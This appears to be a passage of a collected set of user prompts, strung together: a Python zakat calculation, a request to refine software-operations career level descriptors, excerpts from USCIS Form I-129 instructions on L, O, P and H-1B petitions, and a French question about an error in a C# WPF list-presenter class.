session.query(User).get(user\\_id)\nzakat\\_due = 0\nzakat\\_due\\_dates = []\nfor income in user.incomes:\nzakat = income.amount \\* 0.025\nfor zakat\\_payment in income.zakat\\_payments:\nzakat -= zakat\\_payment.amount\nif zakat > 0:\nzakat\\_due += zakat\nzakat\\_due\\_dates.append({\'income\\_date\': income.date, \'zakat\\_due\\_date\': income.date.replace(year=income.date.year+1)})\nsession.close()"\n\ncontinue.' +'We are in the process of designing software operation level descriptors. The level descriptor of a leveling system is a framework used to define and categorize roles, responsibilities, and career progression paths for employees, providing a structured approach to career growth, compensation, and performance evaluation. \n\nHere are the company level descriptors with 4 dimensions that apply to all functions.\n\nScope & Impact\nL1: "Responsible for tasks where the scope is fully defined that require following pre-established protocols for completion. Requires significant detailed direction and supervision to resolve most problems." \nL2: "Responsible for tasks of limited scope. Adheres to established practices and procedures for resolving problems. Receives close supervision and direction when approaching most problems." \nL3: "Responsible for tasks and projects of moderate scope that require synthesis of information including a plurality of factors and variables. Uses independent judgment and knowledge of existing procedures and practices to determine appropriate resolution for a given problem, including matters of significance. Beginning to approach novel problems; receives close supervision and direction on novel problems." \nL4: "Responsible for tasks and projects of variable scope where synthesis and analysis of information involves evaluation of identifiable components. Practices good judgment in selecting appropriate strategy for resolution of problem. Scope of work impacts a team. Consistently approaches novel problems. Receives supervision on novel problems and situations." \nL5: "Responsible for solving complex issues where analysis of situations or data requires an in-depth evaluation of variable factors. Exercises judgment in selecting methods, techniques and evaluation criteria for obtaining results. Scope of work impacts a team, and may impact their org. Approaches problems with little direct supervision; often proactively identifies new problem spaces and provides recommendations on solutions or new workstreams." \nL6: "Responsible for solving significant and unique problems where analysis of situations or data requires an evaluation of intangibles. Exercises independent judgment in methods, techniques and evaluation criteria for obtaining results. Scope of work primarily impacts their team and org, and may impact the company. Works independently on most problems, often identifies new problem spaces and strategies for solving for their team and org." \nL7: "Responsible for innovating the resolutions for their org\'s most complex and challenging trade or technical problems. Scope of work has identifiable impacts on the company. Requires almost no direct supervision in their domain. Provides significant insight and input to their manager and functional leaders regarding direction."\n\nKnowledge & Skills: \nL1: "Applies org policies and procedures to resolve routine issues. Developing in their ability to learn and use professional concepts." \nL2: "Applies org policies and procedures to resolve routine issues. Developing in their consistent use of professional concepts. Able to perform highly structured, entry-level work designed to develop broader and more in-depth knowledge and skill to perform higher-level assignments" \nL3: "Consistently applies org policies and procedures to resolve a diverse set of problems. Possesses essential professional expertise. Able to advise on and/or resolve moderately complex but well-precedented projects for which there are one or more readily apparent solutions." \nL4: "Possesses a full and deep understanding of their functional area. Applies knowledge consistently, with accuracy, to resolve a wide range of problems in novel and creative ways. Skilled in applying this knowledge to difficult and complex work assignments to the development of new methods and approaches to enhance existing processes." \nL5: "Possesses trade or technical experience and knowledge that is deep and wide-ranging. Applies expertise accurately and with creativity to innovate solutions. Able to provide significant and innovative recommendations for advancing programs and/or methods; identifies and proposes solutions to organizational challenges." L6: "Possesses expert trade or technical experience and knowledge that is deep and wide-ranging. Independently applies expertise accurately and with creativity to innovate solutions. Able to serve as an authoritative expert and consultant with broad organizational responsibility. " \nL7: "Serves as an expert within the company as well as in the field, more broadly. Explores and develops best-in-class professional concepts in identifying solutions for company-wide and industry objectives. Able to serve as an authoritative expert and consultant in a critical organizational field and/or in a large program with organizational responsibility and community impacts."\n\nStakeholder Interaction \nL1: "Essentially no collaboration with other stakeholders outside of receiving guidance, mentorship, and coaching from their direct supervisor." \nL2: "Limited formal collaboration with other stakeholders outside of receiving guidance, mentorship, and coaching from their direct supervisor." \nL3: "Works with stakeholders within their team and org. May work across teams or with peers in other orgs on cross-functional projects. Helps to produce content and deliverables to synthesize findings." \nL4: "Works with stakeholders within their team and org. May work across teams or with peers in other orgs on cross-functional projects. Produces significant content and deliverables to synthesize team findings."\nL5: "Consistently works independently with stakeholders within their team and across their org. May partner with peers from other orgs on cross-functional projects. Reports on progress against key deliverables to other managers within their team and sometimes their org." \nL6: "Consistently works closely with stakeholders within their team and their org. Often partners with peers from other orgs on cross-functional projects. Reports on progress against key deliverables to other managers and leaders within their org and sometimes the company." \nL7: "Independently identifies and works closely with stakeholders on their team, in their org, and throughout the company, always serving as the SME in their domain. Shares key learnings, findings, and concepts with senior leaders throughout the company."\n\nLeadership\nL1: "Possesses some understanding of their own trade/technical and interpersonal skills. Works to achieve the confidence of others by following company and team culture and values." \nL2: "Possesses a developing understanding and awareness of their own trade/technical and interpersonal skills. Works to achieve the confidence of others by adapting to company and team culture and values." \nL3: "Strong understanding and awareness of their own trade/technical and interpersonal skills. Eager to achieve the confidence of others by adapting to company and team culture and values. Reliably contributes to an environment of productivity and engagement." \nL4: "Able to help develop trade/technical skills of more junior team members. Inspires confidence by displaying behaviors that lead to productive working relationships. Frequently embodies team culture, lives team norms, and contributes to an environment of engagement and productivity." \nL5: "Able to mentor and develop trade/technical skills in more junior team members. Inspires confidence by displaying behaviors that lead to productive working relationships. Frequently embodies team culture, lives team norms, and contributes to an environment of engagement and productivity." \nL6: "Skilled at mentoring and developing other team members. Builds trust by displaying aptitudes that lead to healthy working relationships and teams. Frequently embodies team culture, lives team norms, and helps to maintain an environment of high engagement and productivity." \nL7: "Expert at mentoring and developing other team members, of varying seniority. Builds trust by displaying aptitudes that lead to healthy teams. Embodies team culture, lives team norms, and helps to maintain an environment of high engagement and productivity."\n\nFor software operation level descriptors, we are adding two additional dimensions on top of company level descriptors, and here is a draft for L3 to L6. \n\nProblem Solving\nL3: "With limited guidance, completes work for an operational pipeline, ensuring the end product meets well defined requirements. Provides effective training/feedback around operational guidelines and tooling to optimize workflows. Applies critical thinking to assist with decision making strategies and QA methodologies." L4: "Takes ownership and efficiently improves operational guidelines and practices used to achieve the team’s deliverables. Creatively provides solutions to problems outside of defined workflows, takes inputs from stakeholders and management effectively. Works with stakeholders to maintain and scale optimization of team\'s operational workflows, driving significant value to the overall objectives." \nL5: "Proactively improves various operational pipelines throughout the department by taking responsibility for the design, deployment, and maintenance of workstreams. Leverages strong knowledge of operational pipelines to provide inputs to upstream data providers, downstream stakeholders/consumers, support tooling teams, and cross team collaborators to enable them to be more effective." \nL6: "Expert in identification of key issues and finding resolutions for complex business problems. Responsible for special strategic efforts; determines an optimal path where there is little to no precedent, processes or data. Track record of developing the team/pipeline through mentorship/documentation; translates efforts into wider processes for the org and/or company to run productively."\n\nProject Management & Execution\nL3: "Follows guidelines well and achieves planned goals at required quality gate(s). Clearly communicates to peers, leads, and/or SWEs on critical topics and provides guidance related to assigned project(s)." \nL4: "Consistently produces or delivers high quality output for operational task(s). Builds trust with internal and/or external cross team stakeholders to drive initiatives that support project stability. Works alongside SWEs on tooling improvements with accurate characterization of requirements and their impact." \nL5: "Collaborates with project managers and department leads on best operational techniques and methodology; cognizant of resource/budget allocation. Works with external partners to design and implement reliable, scalable, and data driven process improvements for the team and overall department" \nL6: "Oversees E2E components of an operation, including roadmap design, resource/budget management, and timely execution according to business needs. Takes the lead in making informed and strategic decisions through industry-related product, business, and process acumen"\nThe feedbacks for the above are\n- Wording can be more professional, consistent with the company level descriptor and with less subjectivity.\n- Level descriptor has progression and continuity from lower level to higher level\n- The idea of external partners is introduced at L5 in project management and execution\n- Would prefer to see some more clear language around L6 being company level impact and L5 being org level impact and how that would be seen. \n- Remove unnecessary adjectives, for example, "Follows guidelines well" => "Follows guidelines"\nPlease refine the draft based on the feedback above. Output the response in a table format.' +'Evidence for a New Office\nIn addition to the evidence required under the General L Classification Requirements section above, if the beneficiary\nis coming to the United States to open or to be employed in a new office in the United States, the petitioner must submit\nevidence to show the following:\nFor managerial or executive capacity (L-1A):\n1. Sufficient physical premises to house the new office have been secured;\n2. The beneficiary has been employed for 1 continuous year in the 3-year period preceding the filing of the petition in an\nexecutive or managerial capacity and that the proposed employment involves executive or managerial authority over\nthe new operation; and\n3. The intended U.S. operation, within 1 year of approval, will support an executive or managerial position. This\nstatement should be supported by information regarding:\nA. The proposed nature of the office describing the scope of the entity, its organizational structure, and its financial\ngoals;\nB. The size of the United States investment and the foreign entity’s financial ability to remunerate the beneficiary and\nto commence doing business in the United States; and\nC. The organizational structure of the foreign entity.\nFor specialized knowledge capacity (L-1B):\n1. Sufficient physical premises to house the new office have been secured; and\n2. The petitioner has the financial ability to remunerate the beneficiary and to commence doing business in the\nUnited States.\nNOTE: There are additional fees associated with certain L-1A and L1B petitions. Please see the “What is the Filing\nFee” section of these forms instructions for further information about these fees.\nO-1A Nonimmigrants\nThe O-1A classification is for aliens coming to the United States temporarily who have extraordinary ability in\nthe sciences, education, business, or athletics (not including the arts, motion picture, or television industry). The\nextraordinary ability must be demonstrated by sustained national or international acclaim.\nWrite O-1A in the classification block.\nThe petition must be filed with:\n1. A written consultation from a peer group or labor and/or management organization with expertise in the field (which\ncould include a person or persons with expertise in the field (see General Evidence);\n2. A copy of any written contract between the employer and the beneficiary or a summary of the terms of the oral\nagreement under which the beneficiary will be employed;\n3. An explanation of the nature of the events or activities, the beginning and ending dates for the events or activities, and\na copy of any itinerary for the events and activities; and\nForm I-129 Instructions 11/02/22 Page 18 of 30\n4. Evidence of the beneficiary’s extraordinary ability, such as receipt of major nationally or internationally recognized\nawards or prizes for excellence in the field, documentation of the beneficiary’s membership in associations in the\nfield which require outstanding achievements of their members, published material relating to the beneficiary’s work,\nevidence of the beneficiary’s original scholarly work or, contributions of major significance to the field, evidence of\nthe beneficiary’s high salary within the field, evidence that the beneficiary participated individually on a panel that\njudges the work of others in the field, or evidence of the beneficiary’s prior employment in a critical or essential\ncapacity for organizations and establishments that have a distinguished reputation.\nNOTE: If the preceding forms of evidence do not readily apply to the beneficiary’s field of endeavor, you may submit\nother comparable evidence.\nO-1B Nonimmigrants\nThe O-1B classification is for aliens coming to the United States temporarily who have extraordinary ability in the\narts or extraordinary achievement in the motion picture or television industry.\nWrite O-1B in the classification block.\nThe petition must be filed with:\n1. A written consultation from a peer group (which could be a person with expertise in the beneficiary’s field), a labor,\nand/or a management organization (see General Evidence). If the petition is based on the beneficiary’s extraordinary\nachievement in the motion picture or television industry, separate consultations are required from the relevant labor\nand management organizations;\n2. A copy of any written contract between the employer and the beneficiary or a summary of the terms of the oral\nagreement under which the beneficiary will be employed;\n3. Evidence that the beneficiary has received or been nominated for significant national or international awards or\nprizes in the field, such as an Academy Award, Emmy, Grammy, or Director’s Guild Award, or at least three of the\nfollowing:\nA. Evidence that the beneficiary has performed and will perform as a lead or starring participant in productions or\nevents that have a distinguished reputation as evidenced by critical reviews, advertisements, publicity releases,\npublications contracts, or endorsements;\nB. Evidence that the beneficiary has achieved national or international recognition for achievements in the field as\nevidenced by critical reviews or other published materials by or about the individual in major newspapers, trade\njournals, magazines, or other publications;\nC. Evidence that the beneficiary has a record of major commercial or critically acclaimed successes, as evidenced\nby title, rating, standing in the field, box office receipts, and other occupational achievements reported in\npublications;\nD. Evidence that the beneficiary has received significant recognition from organizations, critics, government\nagencies, or other recognized experts;\nE. Evidence that the beneficiary commands or will command a high salary or other remuneration for services in\nrelation to others in the field; or\nF. Evidence that the beneficiary has performed and will perform in a lead or starring role for organizations that have\na distinguished reputation.\nNOTE: If you are applying for O-1B in the Arts and the preceding forms of evidence do not readily apply to the\nbeneficiary’s field of endeavor, you may submit other comparable evidence.\nO-2 Nonimmigrants\nThe O-2 classification is for aliens coming to the United States temporarily and solely to assist in the performance\nof an O-1 artist or athlete because he or she performs support services that are integral to the successful\nperformance of the O-1. No test of the U.S. labor market is required. The alien must have critical skills and\nexperience with the O-1 which must not be of a general nature or possessed by U.S. workers.\nWrite O-2 in the classification block.\nForm I-129 Instructions 11/02/22 Page 19 of 30\nThis form must be filed in conjunction with an O-1 petition and filed with:\n1. A written consultation (see General Evidence);\nA. If it is for support of an athlete or an alien with extraordinary ability in the arts, the consultation must be from an\nappropriate labor organization; or\nB. If it is for support of an alien with extraordinary achievement in motion pictures or television, the consultation\nmust be from an appropriate labor organization and management organization.\n2. Evidence of the current essentiality, critical skills, and experience of the O-2 with the O-1 and evidence that the alien\nhas substantial experience performing the critical skills and essential support services for the O-1 alien. In the case\nof a specific motion picture or television production, the evidence must establish that significant production has taken\nplace outside the United States, and will take place inside the United States, and that the continuing participation of\nthe alien is essential to the successful completion of the production.\nP-1A or P-1 Major League Sports\nThe P-1A classification is for aliens coming to the United States temporarily to perform at a specific athletic\ncompetition as an individual or as part of a group or team participating at an internationally recognized level of\nperformance.\nP-1 Major League Sports classification is for an association of teams or clubs that compete chiefly among themselves\nwhich include major league athletes, minor league sports, and any affiliates associated with the major leagues including\nbut not limited to baseball, hockey, soccer, basketball, and football. Support personnel for Major League Sports include\ncoaches, trainers, broadcasters, referees, linesmen, umpires, and interpreters.\nWrite P-1A in the classification block.\nThe petition must be filed with:\n1. A written consultation (see General Evidence);\n2. A copy of the contract with a major U.S. sports league or team or a contract in an individual sport commensurate with\nnational or international recognition in the sport, if such contracts are normally utilized in the sport; and\n3. Evidence of at least two of the following:\nA. Significant participation in a prior season with a major U.S. sports league;\nB. Significant participation in a prior season for a U.S. college or university in intercollegiate competition;\nC. Participation in international competition with a national team;\nD. A written statement from a member of the sports media or a recognized expert in the sport which details how the\nbeneficiary or team is internationally recognized;\nE. A written statement from an official of a major U.S. sports league or official of the governing body for a sport that\ndetails how the beneficiary or team is internationally recognized;\nF. That the beneficiary or team is ranked, if the sport has international rankings; or\nG. That the beneficiary or team has received a significant honor or award in the sport.\nP-1B Entertainer or Entertainment Group\nThe P-1B classification is for aliens coming to the United States temporarily to perform as a member of an\nentertainment group that has been recognized internationally as outstanding in the discipline for a substantial\nperiod of time, and who has had a sustained relationship with the group (ordinarily for at least 1 year).\nWrite P-1B in the classification block.\nThe petition must be filed with:\n1. A written consultation (see General Evidence);\nForm I-129 Instructions 11/02/22 Page 20 of 30\n2. Evidence that the beneficiary or group is internationally recognized in the discipline as demonstrated by the\nsubmission of evidence of the group’s receipt of or nomination for significant international awards or prizes for\noutstanding achievement, or evidence of at least two of the following:\nA. The beneficiary or group has performed, and will perform as a starring or leading group in productions or events\nwith a distinguished reputation;\nB. The beneficiary or group has achieved international recognition and acclaim for outstanding achievement in the\nfield;\nC. The group has performed, and will perform, services as a star or leading group for organizations and\nestablishments that have a distinguished reputation;\nD. The beneficiary or group has a record of major commercial or critically acclaimed success;\nE. The beneficiary or group has received significant recognition for achievements from critics, organizations,\ngovernment agencies, or other recognized experts in the field; or\nF. The beneficiary or group commands a high salary or other substantial remuneration for services compared to other\nsimilarly situated in the field.\n3. Evidence that 75 percent of the members of the group have had a sustained and substantial relationship with the group\nfor at least 1 year. Provide a list of the alien’s functions which are integral to the group’s performance.\nBy filing for a P-1 group, the petitioner certifies that at least 75 percent of the group members have been performing\nregularly together for at least 1 year. The 1-year requirement does not apply to circus groups coming to perform with\nnationally recognized circuses.\nAttach a separate statement to the form to request a waiver of:\n1. The 1-year relationship requirement due to exigent circumstances; or\n2. The international recognition requirement (1) due to emergent circumstances, or (2) because the group has been\nnationally recognized as outstanding in its discipline for a sustained and substantial period of time.' +'Section 3. Numerical Limitation Information (continued)\n3. If you answered Item Number 1.d. "CAP Exempt," you must specify the reason(s) this petition is exempt from the numerical\nlimitation for H-1B classification:\nThe petitioner is an institution of higher education as defined in section 101(a) of the Higher Education Act, of 1965,\n20 U.S.C. 1001(a).\nThe petitioner is a nonprofit entity related to or affiliated with an institution of higher education as defined in 8 CFR\n214.2(h)(8)(ii)(F)(2).\nThe petitioner is a nonprofit research organization or a governmental research organization as defined in 8 CFR\n214.2(h)(8)(ii)(F)(3).\nThe beneficiary will be employed at a qualifying cap exempt institution, organization or entity pursuant to 8 CFR\n214.2(h)(8)(ii)(F)(4).\nThe beneficiary of this petition is a J-1 nonimmigrant physician who has received a waiver based on section 214(l)\nof the Act.\nThe petitioner is requesting an amendment to or extension of stay for the beneficiary\'s current H-1B classification.\nThe beneficiary of this petition has been counted against the cap and (1) is applying for the remaining portion of the\n6 year period of admission, or (2) is seeking an extension beyond the 6-year limitation based upon sections 104(c) or\n106(a) of the American Competitiveness in the Twenty-First Century Act (AC21).\nThe petitioner is an employer subject to the Guam-CNMI cap exemption pursuant to Public Law 110-229.\nSection 4. Off-Site Assignment of H-1B Beneficiaries\n1. The beneficiary of this petition will be assigned to work at an off-site location for all or part of the\nperiod for which H-1B classification sought.\n3. The beneficiary will be paid the higher of the prevailing or actual wage at any and all off-site locations.\n2. Placement of the beneficiary off-site during the period of employment will comply with the statutory\nand regulatory requirements of the H-1B nonimmigrant classification.\nYes No\nYes\nYes No\nNo\nIf no, do not complete Item Numbers 2. and 3.\na.\nb.\nc.\nd.\ne.\nf.\ng.\nh.\n Page 21 of 36\nForm I-129 Edition 11/02/22\nL Classification Supplement to Form I-129\nDepartment of Homeland Security\nU.S. Citizenship and Immigration Services\nUSCIS\nForm I-129\nOMB No. 1615-0009\nExpires 11/30/2025\nName of the Petitioner\nName of the Beneficiary\n1.\n2.\n3. This petition is (select only one box):\n4.a. Does the petitioner employ 50 or more individuals in the U.S.?\n4.b. If yes, are more than 50 percent of those employee in H-1B, L-1A, or L-1B nonimmigrant status?\n a. An individual petition b. A blanket petition\nNo\nYes No\nYes\nSection 1. Complete This Section If Filing For An Individual Petition\n1. Classification sought (select only one box):\n2. List the beneficiary\'s and any dependent family member\'s prior periods of stay in an H or L classification in the United States\nfor the last seven years. Be sure to list only those periods in which the beneficiary and/or family members were physically\npresent in the U.S. in an H or L classification. Do not include periods in which the beneficiary was in a dependent status, for\nexample, H-4 or L-2 status. If more space is needed, go to Part 9. of Form I-129.\nSubject\'s Name Period of Stay (mm/dd/yyyy)\nFrom To\na. L-1A manager or executive b. L-1B specialized knowledge\nCity or Town State ZIP Code\nStreet Number and Name Apt. Ste. Flr. Number\n3. Name of Employer Abroad\n4. Address of Employer Abroad\nProvince Postal Code Country\nNOTE: Submit photocopies of Forms I-94, I-797, and/or other USCIS issued documents noting these periods of stay in the H\nor L classification. (If more space is needed, attach an additional sheet.)\n Page 22 of 36\nForm I-129 Edition 11/02/22\nSection 1. Complete This Section If Filing For An Individual Petition (continued)\n5. Dates of beneficiary\'s employment with this employer. Explain any interruptions in employment.\nDates of Employment (mm/dd/yyyy)\nFrom To Explanation of Interruptions\n6. Describe the beneficiary\'s duties abroad for the 3 years preceding the filing of the petition. (If the beneficiary is currently inside the\nUnited States, describe the beneficiary\'s duties abroad for the 3 years preceding the beneficiary\'s admission to the United States.)\n8. Summarize the beneficiary\'s education and work experience.\n7. Describe the beneficiary\'s proposed duties in the United States.\n9. How is the U.S. company related to the company abroad? (select only one box)\na. Parent b. Branch c. Subsidiary d. Affiliate e. Joint Venture\n Page 23 of 36\nForm I-129 Edition 11/02/22\n10. Describe the percentage of stock ownership and managerial control of each company that has a qualifying relationship. Provide\nthe Federal Employer Identification Number for each U.S. company that has a qualifying relationship.\nPercentage of company stock ownership and managerial control of\neach company that has a qualifying relationship.\nFederal Employer Identification Number for each\nU.S. company that has a qualifying relationship\nSection 1. Complete This Section If Filing For An Individual Petition (continued)\n11. Do the companies currently have the same qualifying relationship as they did during the one-year period of the alien\'s\nemployment with the company abroad?\n12. Is the beneficiary coming to the United States to open a new office?\nIf you are seeking L-1B specialized knowledge status for an individual, answer the following question:\nWill the beneficiary be stationed primarily offsite (at the worksite of an employer other than the petitioner or its affiliate,\nsubsidiary, or parent)?\nIf you answered yes to the preceding question, describe how and by whom the beneficiary\'s work will be controlled and\nsupervised. Include a description of the amount of time each supervisor is expected to control and supervise the work. If you\nneed additional space to respond to this question, proceed to Part 9. of the Form I-129, and type or print your explanation.\n13.c. If you answered yes to the preceding question, describe the reasons why placement at another worksite outside the petitioner,\nsubsidiary, affiliate, or parent is needed. Include a description of how the beneficiary\'s duties at another worksite relate to the\nneed for the specialized knowledge he or she possesses. If you need additional space to respond to this question, proceed to\nPart 9. of the Form I-129, and type or print your explanation.\n13.b.\nYes No. If no, provide an explanation in Part 9. of Form I-129 that the U.S. company has and will have a qualifying\nrelationship with another foreign entity during the full period of the requested period of stay.\nYes\nYes No\nNo (attach explanation)\n13.a.\n Page 24 of 36\nForm I-129 Edition 11/02/22\nSection 2. Complete This Section If Filing A Blanket Petition\nList all U.S. and foreign parent, branches, subsidiaries, and affiliates included in this petition. (Attach separate sheets of paper if\nadditional space is needed.)\nName and Address Relationship\nSection 3. Additional Fees\nNOTE: A petitioner that seeks initial approval of L nonimmigrant status for a beneficiary, or seeks approval to employ an L\nnonimmigrant currently working for another employer, must submit an additional $500 Fraud Prevention and Detection fee. For\npetitions filed on or after December 18, 2015, you must submit an additional fee of $4,500 if you responded yes to both questions in\nItem Numbers 4.a. and 4.b. on the first page of this L Classification Supplement. This $4,500 fee is mandated by the provisions of\nPublic Law 114-113.\nThese fees, when applicable, may not be waived. You must include payment of the fees with your submission of this form. Failure\nto submit the fees when required will result in rejection or denial of your submission. Each of these fees should be paid by separate\nchecks or money orders.\n Page 25 of 36' +'cela entraine une erreur dans ce fichier \nusing Bindables;\nusing Entities.AccessRights;\nusing Logging;\nusing Shared;\nusing System;\nusing System.Collections.Generic;\nusing System.Collections.ObjectModel;\nusing System.ComponentModel;\nusing System.Linq;\nusing System.Threading;\nusing System.Threading.Tasks;\nusing System.Windows.Controls;\nusing System.Windows.Threading;\nusing UserControlsCommon.Filters;\nusing UserControlsCommon.Helpers;\nusing UserControlsCommon.IPresenters;\nusing UserControlsCommon.IViews;\nusing UserControlsCommon.Models;\nusing UserControlsCommon.Profiles;\n\nnamespace UserControlsCommon.Presenters\n{\n public abstract class EntityListPresenterBase : EntityPresenterBase, IEntityListPresenter\n {\n #region Attributes\n\n //CancellationTokenSource of the last requested search so we can cancel it at will\n protected CancellationTokenSource \\_searchCancellationTokenSource;\n protected TaskQueue \\_searchTaskQueue;\n //The task processing the search which we can await for\n protected Task \\_searchingTask;\n\n bool \\_disposed;\n\n #endregion\n\n #region Properties\n\n protected ApplicationManagerBase ListApplicationManager { get; set; }\n\n public bool DoSearchFlag { get; set; }\n\n protected bool FirstSearchFromInit { get; set; }\n\n /// \n /// Provide better performance to navigate from add page to list page\n /// And init filters and actions only one time\n /// Set this property when must force init filters and actions\n /// \n public bool MustInitFiltersAndActions { get; set; } = true;\n\n public List FilterState { get; set; }\n public List InstantFilterState { get; set; }\n\n #region Implementation IEntityListPresenter\n\n private LeasesManager \\_leasesManager;\n public LeasesManager LeasesManager\n {\n get\n {\n if (\\_leasesManager == null)\n {\n \\_leasesManager = new LeasesManager();\n }\n\n return \\_leasesManager;\n }\n }\n\n public EventHandler OnForceRefreshSorting { get; set; }\n\n public bool IsEntitySelectionMode { get; set; }\n\n public RightsGroupType RightsGroup { get; set; }\n\n #endregion\n\n #endregion\n\n #region Dependency Properties\n\n [DependencyProperty]\n public LoadingProcessInformation LoadingProcessInformation { get; set; }\n\n #region IEntityListPresenter\n\n [DependencyProperty]\n public ObservableCollection Objects { get; set; }\n\n #endregion\n\n #endregion\n\n #region Constructor\n\n protected EntityListPresenterBase(IEntityListView view, EntityManagementPresenterBase manager)\n {\n //Could use Task.CompletedTask on .net 4.6+\n \\_searchTaskQueue = new TaskQueue();\n \n Manager = manager;\n\n \\_view = view;\n LoadingProcessInformation = new LoadingProcessInformation();\n Objects = new ObservableCollection();\n DoSearchFlag = true;\n }\n\n #endregion\n\n #region Methods\n\n private async Task SearchExecuteAsync(CancellationToken cancellationToken)\n {\n IDynamicWindowPresenter dwc = null;\n\n if (cancellationToken.IsCancellationRequested)\n {\n return;\n }\n\n try\n {\n dwc = ((UserControl)\\_view).GetParentWindowPresenter();\n if (dwc != null)\n {\n dwc.Searching = true;\n }\n\n ObservableCollection asyncRes = null;\n try\n {\n asyncRes = await SearchAsync();\n }\n catch (Exception e)\n {\n UserControlHelper.HandleCatchedException(e);\n Logger.Get().Error("SearchAsync exception: " + e.Message);\n }\n\n //There is no need to display the result if the search has been canceled or failed\n if (cancellationToken.IsCancellationRequested)\n {\n return;\n }\n\n if (asyncRes != null)\n {\n SearchDisplay(asyncRes);\n }\n }\n catch (Exception ex)\n {\n Logger.Get().Debug(ex?.Message, ex);\n }\n finally\n {\n if (dwc != null)\n {\n dwc.Searching = false;\n }\n }\n }\n\n /// \n /// la fonction asynchrone de search\n /// Retourne la nouvelle valeur de "Objects" sans la mettre à jour.\n /// C\'est SearchParent qui fera un BeginInvoke\n /// Cette fonction doit pouvoir être annulée => ne doit pas mettre à jour de données\n /// \n /// \n /// \n /// GAV : le commentaire au dessus n\'est certainement plus d\'actualité, il faudrait voir\n /// dans quels cas la méthode SearchAsync peut être annulée\n /// \n protected abstract Task> SearchAsync();\n\n /// \n /// la fonction SearchAsync ne doit pas mettre à jour des données de la classe, \n /// pour ce faire utilisez SearchDisplay\n /// \n /// \n protected virtual void SearchDisplay(ObservableCollection obj)\n {\n Dispatcher.BeginInvoke(DispatcherPriority.Background,\n (SendOrPostCallback)delegate\n {\n Objects = obj;\n }, obj);\n }\n\n protected bool IsSearching => !(\\_searchingTask?.IsCompleted ?? true);\n\n protected abstract void InitActions();\n\n protected abstract void InitFilters();\n\n protected abstract void InitInstantFilters();\n\n protected abstract void InitContextualAction();\n\n protected virtual void FilterPropertyChanged(object sender, PropertyChangedEventArgs e)\n {\n if (Manager?.Filters == null\n || Manager.Filters.Count == 0)\n {\n return;\n }\n\n FilterState = Manager.Filters.ToList();\n FilterData currentFiltre = sender as FilterData;\n\n switch (e?.PropertyName)\n {\n case nameof(FilterData.IsChecked):\n Manager.UpdateActiveFlyoutFiltersCount();\n break;\n case nameof(FilterData.Value):\n if (currentFiltre != null)\n {\n currentFiltre.IsChecked = currentFiltre.Value != null || currentFiltre.Values != null;\n }\n Manager.UpdateActiveFlyoutFiltersCount();\n\n QueueSearch();\n break;\n }\n }\n\n protected virtual void InstantFilterStatePropertyChanged(object sender, PropertyChangedEventArgs e)\n {\n InstantFilterState = Manager.InstantFilters.ToList();\n }\n\n #endregion\n\n #region Implementation IEntityListPresenter\n #region Implementation IPresenter\n\n public virtual void Init()\n {\n FirstSearchFromInit = true;\n\n if (MustInitFiltersAndActions)\n {\n InitActions();\n }\n\n Dispatcher.BeginInvoke(DispatcherPriority.Normal,\n (ThreadStart)(() =>\n {\n if (Manager != null)\n {\n Manager.SetActionsBindings();\n }\n }));\n\n if (MustInitFiltersAndActions)\n {\n InitFilters();\n if (Manager?.Filters != null)\n {\n SetFocusForFilters();\n FilterState = Manager.Filters.ToList();\n }\n InitInstantFilters();\n }\n\n InitContextualAction();\n\n if (DoSearchFlag)\n {\n QueueSearch();\n }\n\n FirstSearchFromInit = false;\n MustInitFiltersAndActions = false;\n }\n\n /// \n /// Sets the focus on the first textbox filter\n /// \n /// \n /// Can be overriden to change this behavior\n /// \n protected virtual void SetFocusForFilters()\n {\n var firstTextBox = Manager.Filters.FirstOrDefault(f => f.Mode == FilterMode.Text);\n if (firstTextBox != null)\n {\n firstTextBox.MustFocus = true;\n }\n }\n\n #region Implementation IDisposable\n\n /// \n /// Exécute les tâches définies par l\'application associées à la libération ou à la redéfinition des ressources non managées.\n /// \n /// 2\n public void Dispose()\n {\n Dispose(true);\n GC.SuppressFinalize(this);\n }\n\n protected virtual void Dispose(bool disposing)\n {\n if (\\_disposed)\n {\n return;\n }\n\n if (disposing)\n {\n if (Objects != null)\n {\n foreach (var o in Objects.OfType())\n {\n o.Dispose();\n }\n\n Objects.Clear();\n Objects = null;\n }\n\n if (FilterState != null)\n {\n FilterState.Clear();\n FilterState = null;\n }\n\n if (InstantFilterState != null)\n {\n InstantFilterState.Clear();\n InstantFilterState = null;\n }\n\n Manager = null;\n \\_view = null;\n }\n\n \\_disposed = true;\n }\n\n #endregion\n\n #endregion\n\n public void SwitchToSelectionMode(List defaultFilters = null)\n {\n IsEntitySelectionMode = true;\n Manager.FiltersDefaultValue = defaultFilters;\n\n // Réinitialisation des filtres, si ceux-ci avaient été sauvegardés antérieurement\n if (FilterState != null)\n {\n FilterState = null;\n\n // Réinitialisation du booléen pour refaire le lock de tous les filtres au prochain appel à la méthode SetFilters.\n // La méthode SetFilters est habituellement appelée dans l\'implémentation de la méthode InitFilters (elle-même appelée ci-dessous).\n // Pour plus de contexte, voir les méthodes suivantes : \n // \\* ToolBarsManagementPresenter.SetFilters\n // \\* FilterData.LockState\n // \\* FilterData.ReinitFilter\n // \\* N\'importe quelle implémentation de la méthode InitFilters, par exemple dans ServiceProvidedListPresenter.\n Manager.MustLockFilters = true;\n }\n\n InitFilters();\n }\n\n public void QueueSearch()\n {\n \\_ = QueueSearchAsync();\n }\n\n public async Task QueueSearchAsync()\n {\n \\_searchCancellationTokenSource?.Cancel();\n \\_searchCancellationTokenSource = new CancellationTokenSource();\n var token = \\_searchCancellationTokenSource.Token;\n\n \\_searchingTask = \\_searchTaskQueue.EnqueueAsync(SearchExecuteAsync, token, Constants.Time.MILLISECONDS\\_PER\\_HALF\\_SECOND);\n\n await \\_searchingTask;\n }\n\n public void ResetFilters()\n {\n // Reset the filters\n if (Manager.Filters != null)\n {\n foreach (var filter in Manager.Filters)\n {\n filter.ReinitFilter();\n }\n }\n else\n {\n FilterState = null;\n InitFilters();\n }\n\n // Force re-init the instant filters\n InstantFilterState = null;\n InitInstantFilters();\n\n QueueSearch();\n }\n\n // Inutile de le déclarer en virtual ?\n public virtual void InitAfterGoBack()\n {\n }\n\n public bool CheckAccess(RightsActionType actionType, RightsFieldType? fieldType)\n {\n return RightsProfileHelper.SecureCommands(actionType, RightsGroup, fieldType);\n }\n\n public bool CheckAccess(RightsElementType elementType, RightsFieldType fieldType)\n {\n return RightsProfileHelper.IsCurrentUserAllowed(elementType, RightsGroup, fieldType);\n }\n\n #endregion\n }\n}\nvoila l\'erreur \nSeverity Code Description Project File Line Suppression 